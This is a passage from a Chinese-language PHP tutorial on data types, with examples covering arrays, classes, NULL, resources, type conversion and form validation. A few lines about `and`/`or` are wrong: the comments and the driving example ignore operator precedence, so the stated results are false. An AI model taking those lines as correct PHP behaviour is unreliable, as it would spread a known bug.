echo round($number, 2);      // 输出:3.14(保留2位小数)
echo number_format($number, 2); // 输出:3.14(格式化输出)
echo sprintf("%.2f", $number);  // 输出:3.14(格式化字符串)

// 幂和根运算
echo pow(2, 3);             // 输出:8(2的3次方)
echo sqrt(16);              // 输出:4(平方根)
echo exp(1);                // 输出:2.718281828...(e的1次方)

// 三角函数
echo sin(pi() / 2);         // 输出:1(sin 90°)
echo cos(0);                // 输出:1(cos 0°)
echo tan(pi() / 4);         // 输出:1(tan 45°)

// 对数函数
echo log(10);               // 输出:2.302585...(自然对数)
echo log10(100);            // 输出:2(以10为底的对数)

// 绝对值和符号
echo abs(-5.5);             // 输出:5.5(绝对值)
echo $negative = -3.14;
echo abs($negative);        // 输出:3.14

// 浮点数比较(注意精度问题)
$a = 0.1 + 0.2;
$b = 0.3;

// ❌ 直接比较可能失败
if ($a == $b) {
    echo "相等";  // 可能不会执行
}

// ✅ 使用 epsilon 比较方法
$epsilon = 0.00001;
if (abs($a - $b) < $epsilon) {
    echo "近似相等";  // 正确的比较方式
}

// 或者使用 round()
if (round($a, 5) == round($b, 5)) {
    echo "四舍五入后相等";
}
?>

4. 布尔型(Boolean)

布尔型只有两个值:true(真)和 false(假),用于表示逻辑状态。

布尔值的声明和使用:

<?php
// 直接声明布尔值
$isVisible = true;
$isHidden = false;

// 输出布尔值
var_dump($isVisible);  // 输出:bool(true)
var_dump($isHidden);   // 输出:bool(false)

// 注意:echo 输出布尔值时,true 输出 1,false 不输出任何内容
echo $isVisible;       // 输出:1
echo $isHidden;        // 无输出

// 使用 var_dump 或 print_r 查看布尔值
print_r($isVisible);   // 输出:1
?>

其他类型转换为布尔值:

<?php
// 以下值转换为 false:
var_dump((bool) "");          // 空字符串:false
var_dump((bool) 0);           // 数字 0:false
var_dump((bool) 0.0);         // 浮点数 0.0:false
var_dump((bool) "0");         // 字符串 "0":false
var_dump((bool) array());     // 空数组:false
var_dump((bool) null);        // null:false

// 以下值转换为 true:
var_dump((bool) "hello");     // 非空字符串:true
var_dump((bool) 123);         // 非 0 数字:true
var_dump((bool) 3.14);        // 非 0 浮点数:true
var_dump((bool) array(1,2));  // 非空数组:true
var_dump((bool) "false");     // 字符串 "false":true(特别注意!)
?>

布尔操作示例:

<?php
// 逻辑运算
$x = true;
$y = false;

// 逻辑与(AND)
$result1 = $x and $y;        // false
$result2 = $x && $y;          // false(优先级更高)

// 逻辑或(OR)
$result3 = $x or $y;         // true
$result4 = $x || $y;         // true(优先级更高)

// 逻辑异或(XOR)
$result5 = $x xor $y;        // true(两个值不同时为真)

// 逻辑非(NOT)
$result6 = !$x;              // false
$result7 = !$y;              // true

// 条件判断中的布尔使用
$age = 18;
$isAdult = ($age >= 18);

if ($isAdult) {
    echo "你是成年人";
} else {
    echo "你是未成年人";
}

// 复杂条件判断
$hasLicense = true;
$hasInsurance = false;
$age = 20;

// 可以开车吗?(成年、有驾照、有保险)
$canDrive = ($age >= 18) and $hasLicense and $hasInsurance;

if ($canDrive) {
    echo "你可以合法开车";
} else {
    echo "你不能开车";
}
?>

复合类型详解

1. 数组(Array)

数组是一个有序的数据集合,可以存储多个值。PHP支持两种类型的数组:索引数组和关联数组。

索引数组:

<?php
// 创建索引数组的不同方式
$fruits1 = array("苹果", "香蕉", "橙子");  // 传统方式
$fruits2 = ["苹果", "香蕉", "橙子"];       // 短数组语法(PHP 5.4+)

// 逐个添加元素
$colors = array();
$colors[] = "红色";
$colors[] = "绿色";
$colors[] = "蓝色";

// 指定索引添加元素
$numbers = array();
$numbers[0] = "第一";
$numbers[1] = "第二";
$numbers[5] = "第六";  // 跳过索引

// 访问数组元素
echo $fruits1[0];     // 输出:苹果
echo $fruits1[1];     // 输出:香蕉
echo $colors[2];      // 输出:蓝色

// 修改数组元素
$fruits1[1] = "葡萄";
echo $fruits1[1];     // 输出:葡萄

// 查看数组结构和内容
print_r($fruits1);
var_dump($numbers);

// 数组常用函数
echo count($fruits1);           // 输出:3(数组长度)
echo sizeof($colors);           // 输出:3(count()的别名)

// 检查元素是否存在
if (isset($fruits1[0])) {
    echo "索引 0 存在";
}

if (in_array("苹果", $fruits1)) {
    echo "苹果在数组中";
}

// 查找元素索引
$index = array_search("橙子", $fruits1);
if ($index !== false) {
    echo "橙子的索引是:$index";  // 输出:橙子的索引是:2
}

// 数组排序
sort($fruits1);                 // 升序排序
rsort($fruits1);                // 降序排序
asort($colors);                 // 保持索引关联的升序排序
?>

关联数组:

<?php
// 创建关联数组
$person = array(
    "name" => "张三",
    "age" => 25,
    "email" => "zhangsan@example.com",
    "isStudent" => true
);

// 短数组语法
$config = [
    "host" => "localhost",
    "username" => "admin",
    "password" => "secret",
    "database" => "myapp"
];

// 访问关联数组元素
echo $person["name"];        // 输出:张三
echo $config["host"];        // 输出:localhost

// 修改关联数组元素
$person["age"] = 26;
echo $person["age"];         // 输出:26

// 添加新元素
$person["city"] = "北京";
echo $person["city"];        // 输出:北京

// 检查键是否存在
if (array_key_exists("name", $person)) {
    echo "name 键存在";
}

if (isset($person["email"])) {
    echo "email 键存在且值不为null";
}

// 获取所有键和值
$keys = array_keys($person);
$values = array_values($person);

print_r($keys);    // 输出:所有键的数组
print_r($values);  // 输出:所有值的数组

// 遍历关联数组
foreach ($person as $key => $value) {
    echo "{$key}: {$value}<br>";
}

// 只遍历值
foreach ($person as $value) {
    echo $value . "<br>";
}

// 数组合并
$merged = array_merge($person, $config);
print_r($merged);
?>

多维数组:

<?php
// 二维数组(数组的数组)
$students = [
    [
        "id" => 1,
        "name" => "张三",
        "scores" => [85, 92, 78]
    ],
    [
        "id" => 2,
        "name" => "李四",
        "scores" => [90, 88, 95]
    ],
    [
        "id" => 3,
        "name" => "王五",
        "scores" => [76, 84, 89]
    ]
];

// 访问多维数组元素
echo $students[0]["name"];           // 输出:张三
echo $students[1]["scores"][0];      // 输出:90

// 修改多维数组元素
$students[2]["scores"][2] = 91;      // 修改王五的第三门课成绩

// 遍历多维数组
foreach ($students as $student) {
    echo "学生ID:{$student['id']}<br>";
    echo "姓名:{$student['name']}<br>";
    echo "成绩:";
    foreach ($student["scores"] as $score) {
        echo "{$score} ";
    }
    echo "<br><br>";
}

// 三维数组示例
$departments = [
    "技术部" => [
        "前端组" => ["张三", "李四", "王五"],
        "后端组" => ["赵六", "钱七", "孙八"],
        "测试组" => ["周九", "吴十"]
    ],
    "市场部" => [
        "推广组" => ["郑一", "王二"],
        "销售组" => ["冯三", "陈四", "褚五"]
    ]
];

// 访问三维数组
echo $departments["技术部"]["前端组"][0];  // 输出:张三

// 遍历三维数组
foreach ($departments as $department => $groups) {
    echo "<h3>{$department}</h3>";
    foreach ($groups as $group => $members) {
        echo "<h4>{$group}</h4>";
        echo "<ul>";
        foreach ($members as $member) {
            echo "<li>{$member}</li>";
        }
        echo "</ul>";
    }
}
?>

2. 对象(Object)

对象是类的实例,用于封装数据和操作这些数据的方法。对象是面向对象编程的核心概念。

类和对象的基本概念:

<?php
// 定义一个简单的类
class Person {
    // 属性(成员变量)
    public $name;
    public $age;
    private $email;  // 私有属性,只能在类内部访问

    // 构造函数,在创建对象时自动调用
    public function __construct($name, $age, $email) {
        $this->name = $name;
        $this->age = $age;
        $this->email = $email;
        echo "创建了一个新的人:{$name}<br>";
    }

    // 方法(成员函数)
    public function introduce() {
        return "大家好,我叫{$this->name},今年{$this->age}岁。";
    }

    public function getAge() {
        return $this->age;
    }

    public function setAge($newAge) {
        if ($newAge > 0 && $newAge < 150) {
            $this->age = $newAge;
            return true;
        }
        return false;
    }

    public function getEmail() {
        return $this->email;
    }

    // 析构函数,对象被销毁时自动调用
    public function __destruct() {
        echo "对象 {$this->name} 被销毁了。<br>";
    }
}

// 创建对象实例
$person1 = new Person("张三", 25, "zhangsan@example.com");
$person2 = new Person("李四", 30, "lisi@example.com");

// 访问对象的属性
echo $person1->name;     // 输出:张三
echo $person1->age;      // 输出:25

// 调用对象的方法
echo $person1->introduce();  // 输出:大家好,我叫张三,今年25岁。

// 修改属性值
$person1->age = 26;
echo $person1->getAge();     // 输出:26

// 使用方法修改属性(带验证)
if ($person1->setAge(27)) {
    echo "年龄修改成功,现在 {$person1->age} 岁<br>";
} else {
    echo "年龄修改失败<br>";
}

// 访问私有属性需要通过方法
echo $person1->getEmail();   // 输出:zhangsan@example.com
// echo $person1->email;     // 错误:无法直接访问私有属性

// 检查对象
var_dump($person1);  // 查看对象的详细信息
echo get_class($person1);  // 输出:Person(获取类名)

if ($person1 instanceof Person) {
    echo "person1 是 Person 类的实例";
}
?>

更复杂的对象示例:

<?php
// 银行账户类
class BankAccount {
    private $accountNumber;
    private $ownerName;
    private $balance;
    private static $totalAccounts = 0;  // 静态属性

    // 静态方法
    public static function getTotalAccounts() {
        return self::$totalAccounts;
    }

    public function __construct($accountNumber, $ownerName, $initialBalance = 0) {
        $this->accountNumber = $accountNumber;
        $this->ownerName = $ownerName;
        $this->balance = $initialBalance;
        self::$totalAccounts++;  // 增加账户总数
    }

    // 存款
    public function deposit($amount) {
        if ($amount > 0) {
            $this->balance += $amount;
            $this->logTransaction("存款", $amount);
            return true;
        }
        return false;
    }

    // 取款
    public function withdraw($amount) {
        if ($amount > 0 && $amount <= $this->balance) {
            $this->balance -= $amount;
            $this->logTransaction("取款", $amount);
            return true;
        }
        return false;
    }

    // 获取余额
    public function getBalance() {
        return $this->balance;
    }

    // 转账到另一个账户
    public function transferTo($targetAccount, $amount) {
        if ($this->withdraw($amount)) {
            if ($targetAccount->deposit($amount)) {
                $this->logTransaction("转账给{$targetAccount->getOwnerName()}", $amount);
                return true;
            } else {
                // 如果存款失败,退回取款
                $this->balance += $amount;
            }
        }
        return false;
    }

    // 获取账户信息
    public function getAccountInfo() {
        return [
            'accountNumber' => $this->accountNumber,
            'ownerName' => $this->ownerName,
            'balance' => $this->balance
        ];
    }

    public function getOwnerName() {
        return $this->ownerName;
    }

    // 记录交易日志
    private function logTransaction($type, $amount) {
        $timestamp = date('Y-m-d H:i:s');
        echo "[{$timestamp}] 账户 {$this->accountNumber} - {$type}: ¥{$amount},余额: ¥{$this->balance}<br>";
    }
}

// 创建银行账户
$account1 = new BankAccount("001", "张三", 1000);
$account2 = new BankAccount("002", "李四", 500);

echo "总账户数:" . BankAccount::getTotalAccounts() . "<br>";

// 进行一些交易
$account1->deposit(500);        // 存款
$account2->deposit(300);        // 存款

$account1->withdraw(200);       // 取款
$account2->withdraw(100);       // 取款

// 转账
if ($account1->transferTo($account2, 300)) {
    echo "转账成功!<br>";
} else {
    echo "转账失败!<br>";
}

// 显示最终余额
echo "{$account1->getOwnerName()} 的余额:¥{$account1->getBalance()}<br>";
echo "{$account2->getOwnerName()} 的余额:¥{$account2->getBalance()}<br>";

// 获取账户信息
$info = $account1->getAccountInfo();
print_r($info);
?>

特殊类型详解

1. NULL 类型

NULL 表示变量没有值,这是唯一可能的 NULL 值。

NULL 的使用:

<?php
// 变量为 NULL 的情况
$var1 = null;           // 直接赋值为 null
$var2;                  // 声明但未赋值的变量(可能产生 Notice)
$var3 = "hello";
unset($var3);           // 使用 unset() 销毁变量

// 检查变量是否为 NULL
var_dump(is_null($var1));      // 输出:bool(true)
var_dump(is_null($var2 ?? null)); // 输出:bool(true)
var_dump(is_null($var3 ?? null)); // 输出:bool(true)

// 使用 isset() 检查
if (isset($var1)) {
    echo "var1 已设置且不为 NULL";
} else {
    echo "var1 未设置或为 NULL";  // 输出这个
}

// 使用 empty() 检查
if (empty($var1)) {
    echo "var1 为空";  // 输出这个
}

// NULL 和其他类型的比较
var_dump(null == false);    // 输出:bool(true)
var_dump(null == 0);        // 输出:bool(true)
var_dump(null == "");       // 输出:bool(true)
var_dump(null === false);   // 输出:bool(false)(严格比较)
var_dump(null === 0);       // 输出:bool(false)

// NULL 的实际应用
function findUser($userId) {
    // 模拟数据库查询
    if ($userId == 999) {
        return null;  // 用户不存在
    }

    return ["id" => $userId, "name" => "用户{$userId}"];
}

$user = findUser(999);
if ($user === null) {
    echo "用户不存在";
} else {
    echo "找到用户:" . $user['name'];
}

// 使用 null 合并运算符(PHP 7.0+)
$defaultName = "匿名用户";
$username = $_GET['username'] ?? $defaultName;
echo "欢迎,{$username}!";
?>

2. 资源类型(Resource)

资源类型是特殊的变量,保存了对外部资源的引用,如文件句柄、数据库连接、图像等。

资源的使用示例:

<?php
// 文件资源
$fileHandle = fopen("test.txt", "w");  // 打开文件,返回文件资源
if ($fileHandle !== false) {
    echo "文件打开成功<br>";
    echo "资源类型:" . get_resource_type($fileHandle) . "<br>";

    // 写入文件
    fwrite($fileHandle, "Hello, World!");

    // 关闭文件资源
    fclose($fileHandle);
    echo "文件已关闭<br>";
}

// 数据库连接资源(示例,实际需要数据库支持)
/*
$dbConnection = mysqli_connect("localhost", "username", "password", "database");
if ($dbConnection) {
    echo "数据库连接成功<br>";
    echo "资源类型:" . get_resource_type($dbConnection) . "<br>";

    // 执行查询...

    // 关闭连接
    mysqli_close($dbConnection);
}
*/

// 图像处理资源(需要 GD 库支持)
if (function_exists('imagecreatetruecolor')) {
    $image = imagecreatetruecolor(100, 50);
    if ($image !== false) {
        echo "图像创建成功<br>";
        echo "资源类型:" . get_resource_type($image) . "<br>";

        // 销毁图像资源
        imagedestroy($image);
        echo "图像资源已销毁<br>";
    }
}

// 检查资源
$var = "hello";
if (is_resource($var)) {
    echo "这是一个资源";
} else {
    echo "这不是一个资源";
}

// 获取资源类型
$file = fopen("example.txt", "r");
if (is_resource($file)) {
    echo "资源类型:" . get_resource_type($file);  // 输出:stream
    fclose($file);
}
?>

类型检查和转换

1. 类型检查函数

<?php
// 定义不同类型的变量
$stringVar = "Hello";
$intVar = 123;
$floatVar = 12.34;
$boolVar = true;
$arrayVar = [1, 2, 3];
$objectVar = new stdClass();
$nullVar = null;

// 类型检查函数
var_dump(is_string($stringVar));     // bool(true)
var_dump(is_int($intVar));           // bool(true)
var_dump(is_float($floatVar));       // bool(true)
var_dump(is_bool($boolVar));         // bool(true)
var_dump(is_array($arrayVar));       // bool(true)
var_dump(is_object($objectVar));     // bool(true)
var_dump(is_null($nullVar));         // bool(true)

// 通用类型检查
var_dump(is_scalar($intVar));        // bool(true)(标量类型)
var_dump(is_numeric("123"));         // bool(true)(数字或数字字符串)
var_dump(is_callable('strlen'));     // bool(true)(可调用)

// 获取变量类型
echo gettype($stringVar);            // string
echo gettype($intVar);               // integer
echo gettype($boolVar);              // boolean

// 设置变量类型
$var = "123";
settype($var, "integer");
echo gettype($var);                  // integer
echo $var;                           // 123
?>

2. 类型转换

<?php
// 自动类型转换(隐式转换)
$result = "10" + 5;          // 结果:15(字符串转整数)
$result = "10 apples" + 5;   // 结果:15(字符串开头数字转整数)
$result = "apples 10" + 5;   // 结果:5(字符串开头不是数字,转0)
$result = "10.5" + 5;        // 结果:15.5(字符串转浮点数)

// 显式类型转换
$string = "123.45";
$intVal = (int)$string;       // 123(转整数)
$floatVal = (float)$string;   // 123.45(转浮点数)
$stringVal = (string)$intVal; // "123"(转字符串)
$boolVal = (bool)$string;     // true(转布尔值)

// 使用转换函数
$intVal = intval("123abc");     // 123
$floatVal = floatval("12.34abc"); // 12.34
$boolVal = boolval("hello");    // true

// 特殊转换示例
$string = "0";
$bool1 = (bool)$string;         // false
$int = 0;
$bool2 = (bool)$int;            // false
$emptyArray = [];
$bool3 = (bool)$emptyArray;     // false
$nonEmptyArray = [0];
$bool4 = (bool)$nonEmptyArray;  // true

// 数组转换
$var = "hello";
$array1 = (array)$var;          // ["hello"]

$obj = new stdClass();
$obj->property = "value";
$array2 = (array)$obj;          // ["property" => "value"]

// 对象转换
$array = ["name" => "张三", "age" => 25];
$obj = (object)$array;
echo $obj->name;                // 张三
echo $obj->age;                 // 25

// JSON 转换(常用)
$data = ["name" => "张三", "age" => 25, "isStudent" => true];
$jsonString = json_encode($data);
echo $jsonString;               // {"name":"张三","age":25,"isStudent":true}

$decodedData = json_decode($jsonString);
print_r($decodedData);          // 对象形式

$decodedArray = json_decode($jsonString, true);
print_r($decodedArray);         // 数组形式
?>

实际应用示例

示例1:用户注册表单数据处理

<?php
// ========================================
// 用户注册表单数据处理
// 展示不同数据类型的实际应用
// ========================================

// 模拟表单提交数据
$_POST = [
    'username' => '  zhangsan123  ',
    'email' => 'zhangsan@example.com',
    'age' => '25',
    'password' => 'mypassword123',
    'gender' => 'male',
    'hobbies' => ['reading', 'coding', 'music'],
    'newsletter' => 'on',
    'bio' => '我是一名PHP开发者,热爱编程!'
];

// 数据处理和验证类
class UserRegistrationProcessor {
    private $errors = [];
    private $cleanData = [];

    // 清理字符串数据
    private function sanitizeString($input) {
        return trim(stripslashes($input));
    }

    // 验证邮箱格式
    private function validateEmail($email) {
        return filter_var($email, FILTER_VALIDATE_EMAIL) !== false;
    }

    // 验证年龄
    private function validateAge($age) {
        $age = (int)$age;
        return $age >= 18 && $age <= 120;
    }

    // 验证用户名
    private function validateUsername($username) {
        $length = strlen($username);
        return $length >= 3 && $length <= 20 && preg_match('/^[a-zA-Z0-9_]+$/', $username);
    }

    // 主处理函数
    public function processRegistration($formData) {
        echo "<h2>用户注册数据处理</h2>";

        // 1. 处理用户名(字符串类型)
        if (isset($formData['username'])) {
            $username = $this->sanitizeString($formData['username']);

            if ($this->validateUsername($username)) {
                $this->cleanData['username'] = $username;
                echo "✓ 用户名验证通过:{$username}<br>";
            } else {
                $this->errors['username'] = "用户名必须是3-20个字符,只能包含字母、数字和下划线";
            }
        }

        // 2. 处理邮箱(字符串类型 + 格式验证)
        if (isset($formData['email'])) {
            $email = $this->sanitizeString($formData['email']);

            if ($this->validateEmail($email)) {
                $this->cleanData['email'] = strtolower($email); // 转为小写
                echo "✓ 邮箱验证通过:{$email}<br>";
            } else {
                $this->errors['email'] = "邮箱格式不正确";
            }
        }

        // 3. 处理年龄(整型)
        if (isset($formData['age'])) {
            $age = $formData['age'];

            if (is_numeric($age) && $this->validateAge($age)) {
                $this->cleanData['age'] = (int)$age;
                echo "✓ 年龄验证通过:{$this->cleanData['age']}<br>";
            } else {
                $this->errors['age'] = "年龄必须是18-120之间的数字";
            }
        }

        // 4. 处理密码(字符串类型)
        if (isset($formData['password'])) {
            $password = $formData['password'];

            if (strlen($password) >= 8) {
                $this->cleanData['password_hash'] = password_hash($password, PASSWORD_DEFAULT);
                echo "✓ 密码验证通过,已加密存储<br>";
            } else {
                $this->errors['password'] = "密码长度至少8位";
            }
        }

        // 5. 处理性别(字符串类型)
        if (isset($formData['gender'])) {
            $gender = $formData['gender'];
            $validGenders = ['male', 'female', 'other'];

            if (in_array($gender, $validGenders)) {
                $this->cleanData['gender'] = $gender;
                echo "✓ 性别验证通过:{$gender}<br>";
            } else {
                $this->errors['gender'] = "请选择有效的性别";
            }
        }

        // 6. 处理爱好(数组类型)
        if (isset($formData['hobbies'])) {
            $hobbies = $formData['hobbies'];

            if (is_array($hobbies) && !empty($hobbies)) {
                // 清理每个爱好
                $cleanHobbies = [];
                foreach ($hobbies as $hobby) {
                    $cleanHobbies[] = $this->sanitizeString($hobby);
                }
                $this->cleanData['hobbies'] = $cleanHobbies;
                echo "✓ 爱好验证通过:" . implode(', ', $cleanHobbies) . "<br>";
            } else {
                $this->cleanData['hobbies'] = [];
                echo "✓ 没有选择爱好<br>";
            }
        }

        // 7. 处理订阅选择(布尔类型)
        if (isset($formData['newsletter'])) {
            $this->cleanData['newsletter'] = true;
            echo "✓ 用户订阅了新闻邮件<br>";
        } else {
            $this->cleanData['newsletter'] = false;
            echo "✓ 用户没有订阅新闻邮件<br>";
        }

        // 8. 处理个人简介(字符串类型)
        if (isset($formData['bio'])) {
            $bio = $this->sanitizeString($formData['bio']);

            if (strlen($bio) <= 500) {
                $this->cleanData['bio'] = $bio;
                echo "✓ 个人简介验证通过(长度:" . strlen($bio) . "字符)<br>";
            } else {
                $this->errors['bio'] = "个人简介不能超过500个字符";
            }
        }

        // 添加元数据
        $this->cleanData['registration_date'] = date('Y-m-d H:i:s');
        $this->cleanData['ip_address'] = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
        $this->cleanData['user_agent'] = $_SERVER['HTTP_USER_AGENT'] ?? 'unknown';

        return empty($this->errors);
    }

    // 显示处理结果
    public function displayResults() {
        echo "<h3>处理结果</h3>";

        if (empty($this->errors)) {
            echo "<p style='color: green;'>✓ 所有数据验证通过!</p>";

            echo "<h4>清理后的数据(不同数据类型):</h4>";
            echo "<pre>";
            var_dump($this->cleanData);
            echo "</pre>";

            // 显示数据类型信息
            echo "<h4>数据类型分析:</h4>";
            echo "<ul>";
            foreach ($this->cleanData as $key => $value) {
                echo "<li><strong>{$key}</strong>: " . gettype($value);
                if (is_array($value)) {
                    echo "(" . count($value) . " 个元素)";
                }
                echo "</li>";
            }
            echo "</ul>";

        } else {
            echo "<p style='color: red;'>✗ 发现以下错误:</p>";
            echo "<ul>";
            foreach ($this->errors as $field => $error) {
                echo "<li><strong>{$field}</strong>: {$error}</li>";
            }
            echo "</ul>";
        }
    }
}

// 处理注册数据
$processor = new UserRegistrationProcessor();
$success = $processor->processRegistration($_POST);
$processor->displayResults();
?>

示例2:数据类型转换工具类

<?php
// ========================================
// 数据类型转换工具类
// 提供安全的数据类型转换方法
// ========================================

class DataTypeConverter {
    /**
     * 安全转换为整数
     * @param mixed $value 要转换的值
     * @param int $default 默认值
     * @param int|null $min 最小值限制
     * @param int|null $max 最大值限制
     * @return int
     */
    public static function toInt($value, $default = 0, $min = null, $max = null) {
        // 处理 null 值
        if ($value === null) {
            return $default;
        }

        // 处理布尔值
        if (is_bool($value)) {
            return $value ? 1 : 0;
        }

        // 处理字符串
        if (is_string($value)) {
            // 移除非数字字符(保留负号和小数点)
            $cleaned = preg_replace('/[^0-9.-]/', '', $value);

            if ($cleaned === '' || $cleaned === '-') {
                return $default;
            }

            $value = $cleaned;
        }

        // 转换为整数
        $intValue = (int)$value;

        // 应用范围限制
        if ($min !== null && $intValue < $min) {
            return $min;
        }
        if ($max !== null && $intValue > $max) {
            return $max;
        }

        return $intValue;
    }

    /**
     * 安全转换为浮点数
     * @param mixed $value 要转换的值
     * @param float $default 默认值
     * @param float|null $min 最小值限制
     * @param float|null $max 最大值限制
     * @return float
     */
    public static function toFloat($value, $default = 0.0, $min = null, $max = null) {
        if ($value === null) {
            return $default;
        }

        if (is_bool($value)) {
            return $value ? 1.0 : 0.0;
        }

        if (is_string($value)) {
            $cleaned = preg_replace('/[^0-9.-]/', '', $value);
            if ($cleaned === '' || $cleaned === '-' || $cleaned === '.') {
                return $default;
            }
            $value = $cleaned;
        }

        $floatValue = (float)$value;

        if ($min !== null && $floatValue < $min) {
            return $min;
        }
        if ($max !== null && $floatValue > $max) {
            return $max;
        }

        return $floatValue;
    }

    /**
     * 安全转换为字符串
     * @param mixed $value 要转换的值
     * @param string $default 默认值
     * @param int|null $maxLength 最大长度限制
     * @return string
     */
    public static function toString($value, $default = '', $maxLength = null) {
        if ($value === null) {
            return $default;
        }

        if (is_bool($value)) {
            return $value ? 'true' : 'false';
        }

        if (is_array($value) || is_object($value)) {
            return json_encode($value);
        }

        $stringValue = (string)$value;

        if ($maxLength !== null && strlen($stringValue) > $maxLength) {
            $stringValue = substr($stringValue, 0, $maxLength);
        }

        return $stringValue;
    }

    /**
     * 安全转换为布尔值
     * @param mixed $value 要转换的值
     * @param bool $default 默认值
     * @return bool
     */
    public static function toBool($value, $default = false) {
        if ($value === null) {
            return $default;
        }

        // 字符串的特殊处理
        if (is_string($value)) {
            $lowerValue = strtolower(trim($value));
            if ($lowerValue === 'true' || $lowerValue === '1' || $lowerValue === 'yes' || $lowerValue === 'on') {
                return true;
            }
            if ($lowerValue === 'false' || $lowerValue === '0' || $lowerValue === 'no' || $lowerValue === 'off') {
                return false;
            }
        }

        return (bool)$value;
    }

    /**
     * 安全转换为数组
     * @param mixed $value 要转换的值
     * @param array $default 默认值
     * @return array
     */
    public static function toArray($value, $default = []) {
        if ($value === null) {
            return $default;
        }

        if (is_array($value)) {
            return $value;
        }

        if (is_string($value)) {
            // 尝试解析 JSON
            $decoded = json_decode($value, true);
            if (json_last_error() === JSON_ERROR_NONE && is_array($decoded)) {
                return $decoded;
            }

            // 尝试解析逗号分隔的字符串
            if (strpos($value, ',') !== false) {
                return array_map('trim', explode(',', $value));
            }

            // 单个值转换为数组
            return [$value];
        }

        return [$value];
    }

    /**
     * 获取数据的详细信息
     * @param mixed $value 要分析的值
     * @return array 详细信息
     */
    public static function analyze($value) {
        $analysis = [
            'type' => gettype($value),
            'value' => $value,
            'size' => null,
            'is_numeric' => is_numeric($value),
            'is_scalar' => is_scalar($value),
            'is_callable' => is_callable($value),
            'is_resource' => is_resource($value)
        ];

        // 获取大小信息
        switch ($analysis['type']) {
            case 'string':
                $analysis['size'] = strlen($value);
                break;
            case 'array':
                $analysis['size'] = count($value);
                break;
            case 'object':
                $analysis['class'] = get_class($value);
                break;
            case 'resource':
                $analysis['resource_type'] = get_resource_type($value);
                break;
        }

        return $analysis;
    }
}

// 使用示例
echo "<h2>数据类型转换工具示例</h2>";

// 测试数据
$testData = [
    'string_number' => '  123.45  ',
    'invalid_number' => 'abc123def',
    'boolean_string' => 'yes',
    'json_string' => '{"name": "张三", "age": 25}',
    'comma_separated' => 'apple, banana, orange',
    'null_value' => null,
    'empty_string' => '',
    'zero_value' => 0,
    'empty_array' => []
];

echo "<h3>转换测试</h3>";
foreach ($testData as $name => $value) {
    echo "<h4>测试:{$name}</h4>";
    echo "原始值:";
    var_dump($value);

    echo "<ul>";
    echo "<li>转整数:" . DataTypeConverter::toInt($value, 0, 0, 1000) . "</li>";
    echo "<li>转浮点数:" . DataTypeConverter::toFloat($value, 0.0, 0.0, 999.99) . "</li>";
    echo "<li>转字符串:" . DataTypeConverter::toString($value, 'default', 20) . "</li>";
    echo "<li>转布尔值:" . (DataTypeConverter::toBool($value, false) ? 'true' : 'false') . "</li>";
    echo "<li>转数组:";
    $arrayResult = DataTypeConverter::toArray($value, ['default']);
    echo json_encode($arrayResult, JSON_UNESCAPED_UNICODE) . "</li>";
    echo "</ul>";

    // 数据分析
    $analysis = DataTypeConverter::analyze($value);
    echo "<p>数据分析:<strong>类型:{$analysis['type']}</strong>";
    if ($analysis['size'] !== null) {
        echo ",大小:{$analysis['size']}";
    }
    echo "</p>";
}

echo "<h3>数据详细信息</h3>";
echo "<pre>";
var_dump(DataTypeConverter::analyze($testData));
echo "</pre>";
?>

常见错误和解决方案

1. 类型比较错误

<?php
// ❌ 常见错误:松散比较导致意外结果
if ("0" == false) {
    echo "这会执行,但可能不是你想要的";
}

if ("" == 0) {
    echo "这也会执行";
}

// ✅ 正确做法:使用严格比较
if ("0" === false) {
    echo "这不会执行";
}

if ("" === 0) {
    echo "这也不会执行";
}

// 字符串比较的陷阱
$userInput = "123abc";
if ($userInput == 123) {
    echo "意外的相等!";  // 会执行,因为"123abc"转换为123
}

// ✅ 正确的做法
if ($userInput === 123) {
    echo "这不会执行";
}

// 或者使用类型检查
if (is_string($userInput) && $userInput === "123") {
    echo "完全匹配";
}
?>

2. 数组访问错误

<?php
// ❌ 访问不存在的数组索引
$array = ['a' => 1, 'b' => 2];
// echo $array['c'];  // 会产生 Notice: Undefined index

// ✅ 正确的做法
if (isset($array['c'])) {
    echo $array['c'];
} else {
    echo "索引 c 不存在";
}

// 使用 null 合并运算符(PHP 7.0+)
$value = $array['c'] ?? '默认值';
echo $value;

// 多维数组的安全访问
$nested = ['level1' => ['level2' => ['level3' => 'value']]];

// ❌ 链式访问可能出错
// echo $nested['level1']['level2']['missing'];

// ✅ 安全的多维访问
$value = $nested['level1']['level2']['level3'] ?? null;
if ($value !== null) {
    echo $value;
}
?>

3. 浮点数精度问题

<?php
// ❌ 直接比较浮点数可能失败
$a = 0.1 + 0.2;
$b = 0.3;
if ($a == $b) {
    echo "相等";  // 可能不会执行
}

// ✅ 使用 epsilon 方法比较
function floatEquals($a, $b, $epsilon = 0.00001) {
    return abs($a - $b) < $epsilon;
}

if (floatEquals($a, $b)) {
    echo "近似相等";
}

// ✅ 或者使用 round()
if (round($a, 5) == round($b, 5)) {
    echo "四舍五入后相等";
}

// 货币计算的正确方式
$price = 19.99;
$quantity = 3;

// ❌ 可能产生精度问题
$total = $price * $quantity;  // 可能不是 59.97

// ✅ 使用整数计算(分为单位)
$priceInCents = 1999;  // 19.99 元 = 1999 分
$totalInCents = $priceInCents * $quantity;  // 5997 分
$total = $totalInCents / 100;  // 59.97 元
?>

练习题

基础练习

  1. 数据类型识别 确定以下变量的数据类型:

    $a = "123";
    $b = 123;
    $c = 123.45;
    $d = true;
    $e = array(1, 2, 3);
    $f = null;
    
  2. 类型转换练习 将以下字符串转换为适当的数据类型:

    $age = "25";
    $price = "99.99";
    $isMember = "true";
    $scores = "85,90,78";
    
  3. 数组操作 创建一个包含学生信息的关联数组,包含姓名、年龄、成绩等信息。

进阶练习

  1. 类型验证函数 编写一个函数,验证输入的数据是否符合预期类型:

    function validateData($data, $expectedType) {
        // 实现验证逻辑
    }
    
  2. 安全类型转换 实现一个安全的类型转换函数,处理各种边界情况:

    function safeConvert($value, $type, $default = null) {
        // 实现安全转换
    }
    
  3. 数据类型分析器 创建一个分析器,可以详细分析任意变量的数据类型和特征。

实践练习

  1. 表单数据处理 创建一个完整的表单数据处理脚本,包含:

    • 各种数据类型的接收和验证
    • 安全的类型转换
    • 错误处理和用户反馈
  2. 配置文件解析器 实现一个配置文件解析器,支持不同的数据类型:

    // 配置文件示例
    database_host = "localhost"
    database_port = 3306
    debug_mode = true
    allowed_ips = ["127.0.0.1", "::1"]
    

总结

PHP的数据类型系统为开发者提供了灵活而强大的数据处理能力:

核心概念:

